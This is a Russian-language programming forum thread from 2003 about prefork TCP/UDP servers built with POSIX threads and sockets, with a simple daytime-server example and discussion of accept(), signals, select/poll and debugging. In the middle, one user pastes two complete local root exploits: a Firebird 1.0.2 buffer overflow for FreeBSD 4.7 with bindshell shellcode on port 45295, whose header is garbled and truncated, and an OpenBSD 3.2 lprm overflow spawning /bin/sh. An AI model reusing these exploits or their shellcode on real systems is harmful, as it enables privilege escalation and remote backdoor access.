Страница 1 из 2

POSIX Threads, sockets и prefork model. Простой пример.

Добавлено: 25 апр 2003, 14:22
mend0za
Возникла на днях у меня забавная задачка.
Написать простое серверное приложение с prefork-моделью
подумал и предложил решение - сделать listen.
После чего насоздавать потоков в каждом из которых в бесконечном цикле делать accept и обработку.
Лучшие умы, к которым я пристал по поводу допустимости таких издевательств над сокетами, были не в курсе.
Прийдя домой вечером, я набросал эту фигню на freebsd и, что самое смешное, она заработала. Мне стало интересно - и я проверил на работе, на linux . Тоже работала. Это меня тоже удивило. Маны по потокам и по сокетам молчат как партизаны.
Представляю вашему вниманию то что получилось.
приложение несколько схематично, без обработки ошибок и других наворотов. Но концепцию иллюстрирует.

исходный код. prefork.cpp

Добавлено: 25 апр 2003, 14:31
mend0za

Код: Выделить всё

/* 
Copyright by Vladimir Shahov. mend0za (at) irc.by, (c) 2003
Distributed under GNU Public Licence version 2. 
простой tcp/udp сервер с prefork-моделью
реализует сервис daytime на порту 1212
g++ prefork.cpp -pthreads -o prefork
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <stdio.h>
#include <pthread.h>

char * daytime() {
    time_t now;
    now=time(NULL);
    return ctime(&now);
}

void * udp_thread(int * p_sock) {
    int sock=*p_sock;
    for (;;) {
        struct sockaddr from;
        unsigned int len=sizeof(from);
        char buf[81 ];
        memset(buf,0,81);
        recvfrom(sock,&buf,80,0,&from,&len);
        printf("udp incomig:%s",buf);
  
        memset(buf,0,81);
        strncpy(buf,daytime(),80);

        sendto(sock,buf,strlen(buf),0,&from,len);
        puts("answer udp");
    }

    return NULL;
}

void * tcp_thread(int *p_sock) {
    int sock=*p_sock;
    for (;;) {
        int c_sock=accept(sock,NULL,NULL);
        char buf[81];
        memset(buf,0,81);
        strncpy(buf,daytime(),80);
        write(c_sock,buf,strlen(buf));
        shutdown(c_sock,0);
        close(c_sock);
        puts("answer tcp");
    }
    return NULL;
}

int main() {
    struct sockaddr_in addr;
   
    memset(&addr,0,sizeof(addr));
   
    addr.sin_family=AF_INET;
    addr.sin_port=htons(1212);
    addr.sin_addr.s_addr=INADDR_ANY;
   
    int sock;
    const int threads=10;
    pthread_t tid;
   
    if ( fork() ) {
        sock=socket(PF_INET,SOCK_STREAM,0);
        bind(sock,(struct sockaddr *)&addr,sizeof(addr));
        listen(sock,5);
        for (int i=0; i<threads; i++)
            pthread_create(&tid,NULL,&tcp_thread,&sock);
    }
    else {
        sock=socket(PF_INET,SOCK_DGRAM,0);
        bind(sock,(struct sockaddr *)&addr,sizeof(addr));
        for (int i=0; i<threads; i++)
            pthread_create(&tid,NULL,&udp_thread,&sock);
    }
    pthread_join(tid,NULL);
    return 0;
}

Добавлено: 04 июн 2003, 09:37
rооt
сравни результаты после компиляции в Linux и FreeBSD



Usage: ./DSR-firebird <target#>
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop
www.dtors.net
bash-2.05a$
Thanks goto eSDee && ilja for helping me
with the gds_lock_mgr problems.
bob@dtors.net
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056
char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";
char *decide(char *string)
{
if(!(strcmp(string, "1")))
return((char *)&inetcode);
if(!(strcmp(string, "2")))
return((char *)&lockcode);
if(!(strcmp(string, "3")))
return((char *)&dropcode);
exit(0);
}
int main(int argc, char **argv)
{

unsigned long ret = 0xbfbff743;

char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;

if(argc < 2)
{
printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n");
printf("( ( by - bob@dtors.net ) )\n");
printf("----------------------------------------------------\n\n");
printf("Usage: %s <target#> \n", argv[0]);
printf("Targets:\n");
printf("1. [0xbfbff743] - gds_inet_server\n");
printf("2. [0xbfbff743] - gds_lock_mgr\n");
printf("3. [0xbfbff743] - gds_drop\n");
printf("\nwww.dtors.net\n");
exit(0);
}

selectcode = (char *)decide(argv[1]);
memset(buffer, 0x41, sizeof(buffer));
ptr = egg;
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode;
egg[1024 - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(&buffer[1052],(char *)&ret,4);
buffer[1056] = 0;
setenv("INTERBASE", buffer, 1);
fprintf(stdout, "Return Address: 0x%x\n", ret);
fprintf(stdout, "Buffer Size: %d\n", LEN);
fprintf(stdout, "Setuid [90]\n");
if(selectcode == (char *)&inetcode)
{
execl(INET, INET, NULL);
return 0;
}
if(selectcode == (char *)&lockcode)
{
printf("\nShell is on port 45295\nExploit will hang!\n");
execl(LOCK, LOCK, NULL);
return 0;
}
if(selectcode == (char *)&dropcode)
{
execl(DROP, DROP, NULL);
return 0;
}

return 0;
}

Добавлено: 04 июн 2003, 11:25
mend0za
root:
насколько я понял это какой-то експлоит для СУБД firebird
какое мне от него счастье?
тем более что под FreeBSD машин поблизости нету

Добавлено: 04 июн 2003, 11:29
mend0za
по поводу своего кода нашел объяснение в Cтивенсе
что так реагируют по умолчанию большинство unix-ов, кроме некоторых коммерческих.

Добавлено: 04 июн 2003, 13:48
rооt
:!: на тему якобы самой крутой ос (якобы).
По моему нечестно утверждать о 1 ошибке за 7 лет, могу привести еще пару примеров.

/*
* lprmexp.c
*
* OpenBSD 3.2 lprm(1) local root exploit
*
* By CMN <cmn@darklab.org>/<md0claes@mdstud.chalmers.se>
*
* Tested on OpenBSD 3.2.
*
* Fiddle with -a option from 1 to 7 to indent address in
* buffer.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#define LPRMPROG "/usr/bin/lprm"
#define BUFSIZE 511
#define OFFSET 0
#define NOP 0x90
static char obsdcode[] =
"\x31\xc0" /* xorl %eax, %eax */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\xb0\xb7" /* movb $0xb7, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax, %eax */
"\xb0\x19" /* movb $0x19, %al */
"\x50" /* pushl %eax */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\x31\xc0" /* xorl %eax, %eax */
"\xb0\x17" /* movb $0x17, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax, %eax */
"\xb0\x2b" /* movb $0x2b, %al */
"\x50" /* pushl %eax */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\x31\xc0" /* xorl %eax, %eax */
"\xb0\xb5" /* movb $0xb5, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax, %eax */
"\x50" /* pushl %eax */
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp, %ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe2" /* movl %esp, %edx */
"\x50" /* pushl %eax */
"\x52" /* pushl %edx */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xb0\x3b" /* movb $0x3b, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax, %eax */
"\x40" /* inc %eax */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\xcd\x80"; /* int $0x80 */
u_long
getesp(void)
{
__asm__("movl %esp, %eax");
}
void
usage(u_char *pname)
{
printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n");
printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n",
pname);
}
int
main(int argc, char *argv[])
{
int i;
u_char indent = 0;
u_long raddr = 0;
u_long offset = 0;
u_char buf[BUFSIZE+1];
if (argc < 2) {
usage(argv[0]);
exit(1);
}
argc--;
argv++;
while ( (i = getopt(argc, argv, "a:r:o:")) != -1) {
switch (i) {
case 'a':
indent = atoi(optarg) % 8;
break;
case 'r':
raddr = strtoul(optarg, NULL, 0);
break;
case 'o':
offset = strtoul(optarg, NULL, 0);
break;
default:
exit(1);
break;
}
}
if (!raddr) {
raddr = getesp();
raddr -= offset ? offset : OFFSET;
}
else
raddr -= offset;
printf("Using address 0x%08x\n", raddr);
memset(buf, NOP, BUFSIZE);
memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr));
memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr));
memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr));
memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr));
memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr));
memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr));
memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100),
obsdcode, strlen(obsdcode));
buf[BUFSIZE] = '\0';
execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL);
exit(1);
} :roll:

Добавлено: 04 июн 2003, 14:34
mend0za
root писал(а): на тему якобы самой крутой ос (якобы).
По моему нечестно утверждать о 1 ошибке за 7 лет, могу привести еще пару примеров.
www.openbsd.org
"Only one remote hole in the default install, in more than 7 years!"
если раскажешь хотя бы про одну УДАЛЕННУЮ а не локальную дыру - прославишься

Добавлено: 04 июн 2003, 22:14
Llama
Я отнюдь не уверен, что pache входит в default install, скорее уверен в обратном...

Добавлено: 22 авг 2003, 13:19
dimm_coder
извиняюсь - что может довольно поздно - только сейчас прочитал и про любимую тему ;)

ну так а что тут странного в таком поведении

есть некоторый системный объект - сокет в состоянии TCP_LISTEN, при поступлении нового соединения происходит некоторое системное событие, которое получит процесс/поток, ожидающий его т.е. находящийся в заблокированном состоянии после вызовов: accept, select, poll. С точки зрения ядра - некоторого события может ожидать произвольное количество процессов/потоков и ядро в зависимости от модели диспетчиризации данного типа события - уведомляет либо один либо несколько/все процессы/потоки.
Далее, реализация позволяет (и это правильно), что такого события - как поступление соединения на сокет, могут ждать несколько процессов/потоков. В таком случае - если внутренняя реализация - это очередь ждущих процессов/потоков, то управление получит некоторый один (например из вершины очереди в ожидающем состоянии ).
Да, причем не обязательно поток - замени их на fork() и не закрывай унаследовыанный дочерними процессами сокет - результат тот же.

По этому принципу работают веб-сервера и др. если один процесс принял соединение и производит некоторые действия - то (на многопроц системе) если поступает новый запрос - он принимается другим процессов. Т.е. стартует первый процесс - открывает сокет и в LISTEN его , затем форкает некоторое количество процессов которые ждут соединений по одному и тому же сокету (сис объект).

Надеюсь не так сумбурно и понятно :)
учитывая еще особенности реализации потоков в linux pthread - все логично.

Добавлено: 22 авг 2003, 16:13
mend0za
насколько помню - ожидал от системы посыл на х.й
поэтому показалось удивительным что заработало без взаимной блокировки

Добавлено: 22 авг 2003, 16:27
dimm_coder
так тут взаимная блокировка по-моему ни в коем случае не логична //
даже если система не будет эту возможность поддерживать - то уж логичнее не давать процессу блокироваться в accept() а возвращать ошибку что некоторый процесс уже блокирован в ожидании этого события...
В общем - в любом случае все как есть - логично ... и как я отметил - многие приложения работают эффективнее благодаря этому

Добавлено: 26 авг 2003, 22:15
Anonymous
Возможно не к месту, но по теме топика.
Потоки - хорошо, но отладка с помощь gdb - достаточно неблагодарное дело (trace сообщения помогают, и возможно единственное решение). О коммерческих отладчиках ничего сказать не могу - не пробовал (остались отличные воспоминания о Sun Workshop 5 для Solaris/spark, но это относится к делу еще меньше, эксперементальные версии gdb, лучше "заточенные" под IA32 платформу вроде бы есть, но о них тоже ничего сказать не могу, сам на вкус не пробовал). Ну теперь ближе к телу вопроса:
предложение - один процесс, один поток, использовать обработчик сигнала SIGIO (POSIX sigaction()). Далее с помощью fcntl() "прикрутить" к дескриптору сокета обработчик (подробнее man fcntl). По обработчику: в Red Hat точно, как у других не скажу, хотя в man sigaction говориться о том, что обработчик SIGIO может получить дескриптор, изменение состояния которого послужило причиной его вызова, в реальности это не так - поле si_fd не заполняется (может сейчас это и не так, это может упростить дело, но код будет валидным только для Linuxа), а далее select() или poll() - он мне нравится больше по функциональности - проверить listened дескриптор (man poll для подобностей). Если есть запрос на коннекшен, он будет готов для чтения. Далее стандартно - accept(). Полученный дескриптор можно-нужно использовать в списке select() или poll() для дальнейшей работы.
Плюсы у подобной методики есть - поменьше накладных расходов по сравнению с fork() и потоками. Минусы также могут найтись. Ничего идеального быть, к сожалению, не может

Добавлено: 27 авг 2003, 10:29
dimm_coder
я не использовал данную методику - но как я понимаю - здесь необходимо проводить некоторые длительные действия в обработчике сигнала (принимать запрос? а обрабатывать сами запросы там же что ли?) так вот насколько я помню, обработчик может быть прерван другим сигналом (может тем же, т.е. - новым соединением ) и поэтому то что мы делали в прерванном не завершится как ожидали - как результат - не рекомендуется проводить длительные действия в обработчике сигнала , особенно если велика вероятность поступления в это время нового.
Насчет select и poll -
первая проверяет дескрипторы от 0 до max - 1 на наличие событий , следовательно если у нас большой разбег в номерах дескрипторов - не выгодно по времени (будет проверяться много лишних номеров дескрипторов) + есть предел в максимальном возможном max для select для конкретной системы - т.е. нельзя обрабатывать большие номера дескрипторов на загруженных системах

Добавлено: 27 авг 2003, 12:03
mend0za
у gdb поддержка потоков не слишком хороша. Для static линковки версия gdb из debian stable вообсче не опознавала потоки. Пришлось пинать мантейнера, и в результате пофиксили upstream-версию.

у gdb специфичный интерфейс, и необходим период привыкания. Хотя пользуюсь и не возникает каких то проблем.

2 vks: слишком эта схема похожа на (MS|PC|TR|)-DOS
с ее обработчиками и обработчиками обработчиков.

накладные расходы на processes/threads высоки, если на каждое соединение порождается поток/процесс/etc. Если prefork - то у нас уже есть процессы/потоки и накладные расходы - это управление пулом и переключение контекста, что IMHO намного меньше.

если уж пошла такая пьянка, то предлагаю новую схему (реально реализована и работает. Писана на ruby. ruby имеет свою библиотеку потоков, не отображаемую на POSIX Threads и выполняемую в UserSpace. Самопальный HTTPS-сервер):
есть N префоркнутых процессов. Каждый из них - делает accept на прослушиваемый сокет. После прихода соединения, ОС подымает произвольный из них и тот порождает поток Ruby для обработки. Существует контрольный процесс, который пускает, стопарит и всячески управляет этим процессом.

Такая шизовая схема ориентирована на то, что из ssl-библиотеки при невыясненных обстоятельствах регулярно вылетает SIGSEGV и забивает насмерть слушающий процесс. Обрабатывать SIGSEGV и продолжать работу по моему чревато, поэтому дочерний процесс завершает работу, закрывая свои сокеты, контрольный ловит SIGCHLD и делает новый процесс.

Добавлено: 27 авг 2003, 13:08
dimm_coder
есть ткая вещь - valgrind - иногда очень помогает при нахождении специфических (и не только) багов
________
накладные расходы на processes/threads высоки, если на каждое соединение порождается поток/процесс/etc. Если prefork - то у нас уже есть процессы/потоки и накладные расходы - это управление пулом и переключение контекста, что IMHO намного меньше.
Да, но зависит от приложения - если накладной расход на создание процесса/потока много меньше, чем время обработки запроса, характерного
для данного приложения, - то накладные расходы на создание не в счет.
В общем, для выбора модели необходимо учитывать требуемую специфику работы приложения.
если уж пошла такая пьянка, то предлагаю новую схему (реально реализована и работает. Писана на ruby. ruby имеет свою библиотеку потоков, не отображаемую на POSIX Threads и выполняемую в UserSpace. Самопальный HTTPS-сервер):
есть N префоркнутых процессов. Каждый из них - делает accept на прослушиваемый сокет. После прихода соединения, ОС подымает произвольный из них и тот порождает поток Ruby для обработки. Существует контрольный процесс, который пускает, стопарит и всячески управляет этим процессом.
ну в общем схема известная 8)
А что за особенность реализации потоков в Ruby? Где можно найти толковое описание языка в целом ( поисковиком конечно могу - но если есть
уже известный линк на хороший источник - плиз... укажите если не сложно)
Такая шизовая схема ориентирована на то, что из ssl-библиотеки при невыясненных обстоятельствах регулярно вылетает SIGSEGV и забивает насмерть слушающий процесс. Обрабатывать SIGSEGV и продолжать работу по моему чревато, поэтому дочерний процесс завершает работу, закрывая свои сокеты, контрольный ловит SIGCHLD и делает новый процесс.


похоже - ошибка в библиотеке - пишите баг-репорт ... а продолжать при ошибочной работе с памятью - конечно чревато